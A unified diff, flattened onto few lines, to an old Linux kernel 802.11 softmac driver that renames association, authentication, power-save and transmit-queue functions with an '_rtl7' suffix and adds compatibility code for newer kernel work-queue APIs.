ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - 